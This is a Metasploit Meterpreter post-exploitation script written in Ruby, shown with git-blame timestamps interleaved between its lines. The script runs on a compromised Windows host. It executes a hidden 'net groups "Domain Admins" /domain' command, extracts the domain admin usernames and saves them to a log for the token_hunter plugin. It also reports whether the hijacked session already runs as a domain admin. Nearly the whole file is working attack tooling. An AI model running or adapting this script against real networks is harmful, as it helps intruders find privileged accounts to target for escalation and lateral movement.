2010-06-16 17:03:30 +00:00
|
|
|
# $Id$
|
2010-06-23 00:52:25 +00:00
|
|
|
# $Revision$
|
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
2010-04-24 15:21:13 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Options and Option Parsing
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false, "Help menu." ]
|
|
|
|
)
|
|
|
|
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
print_line "Meterpreter Script for extracting Doamin Admin Account list for use."
|
|
|
|
print_line "in token_hunter plugin and verifies if current account for session is"
|
|
|
|
print_line "is a member of such group."
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
}
|
2010-09-09 16:09:27 +00:00
|
|
|
|
|
|
|
def unsupported
|
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2010-04-24 15:21:13 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Set General Variables used in the script
|
|
|
|
@client = client
|
|
|
|
users = ""
|
|
|
|
list = []
|
|
|
|
host = @client.sys.config.sysinfo['Computer']
|
2010-04-25 13:55:22 +00:00
|
|
|
current_user = client.sys.config.getuid.scan(/\S*\\(.*)/)
|
2010-04-24 15:21:13 +00:00
|
|
|
domain = @client.fs.file.expand_path("%USERDOMAIN%")
|
|
|
|
# Create Filename info to be appended to downloaded files
|
2010-06-23 00:52:25 +00:00
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
2010-09-09 16:09:27 +00:00
|
|
|
platform = client.platform.scan(/(win32|win64|php)/)
|
|
|
|
unsupported if not platform
|
2010-04-24 15:21:13 +00:00
|
|
|
# Create a directory for the logs
|
2010-06-23 00:52:25 +00:00
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'scripts','domain_admins')
|
2010-04-24 15:21:13 +00:00
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
#logfile name
|
|
|
|
dest = logs + "/" + host + filenameinfo + ".txt"
|
|
|
|
print_status("found users will be saved to #{dest}")
|
2010-06-23 00:52:25 +00:00
|
|
|
|
2010-04-24 15:21:13 +00:00
|
|
|
################## MAIN ##################
|
|
|
|
#Run net command to enumerate users and verify that it ran successfully
|
|
|
|
cmd = 'net groups "Domain Admins" /domain'
|
|
|
|
r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
while(d = r.channel.read)
|
|
|
|
users << d
|
|
|
|
if d=~/System error/
|
|
|
|
print_error("Could not enumerate Domain Admins!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
break if d == ""
|
2010-04-24 15:21:13 +00:00
|
|
|
end
|
|
|
|
#split output in to lines
|
|
|
|
out_lines = users.split("\n")
|
|
|
|
#Select only those lines that have the usernames
|
|
|
|
a_size = (out_lines.length - 8)
|
|
|
|
domadmins = out_lines.slice(6,a_size)
|
|
|
|
#get only the usernames out of those lines
|
|
|
|
domainadmin_user_list = []
|
2010-04-25 13:55:22 +00:00
|
|
|
domadmins.each do |d|
|
|
|
|
d.split(" ").compact.each do |s|
|
2010-04-25 15:41:50 +00:00
|
|
|
domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/
|
2010-04-24 15:21:13 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
#process accounts found
|
|
|
|
print_status("Accounts Found:")
|
|
|
|
domainadmin_user_list.each do |u|
|
|
|
|
print_status("\t#{domain}\\#{u}")
|
2010-06-23 00:52:25 +00:00
|
|
|
file_local_write(dest, "#{domain}\\#{u}")
|
2010-04-25 15:41:50 +00:00
|
|
|
list << u.downcase
|
2010-04-24 15:21:13 +00:00
|
|
|
end
|
2010-04-25 15:41:50 +00:00
|
|
|
if list.index(current_user.join.chomp.downcase)
|
2010-04-25 13:55:22 +00:00
|
|
|
print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!")
|
2010-04-24 15:21:13 +00:00
|
|
|
else
|
2010-04-25 13:55:22 +00:00
|
|
|
print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin")
|
2010-04-24 15:21:13 +00:00
|
|
|
end
|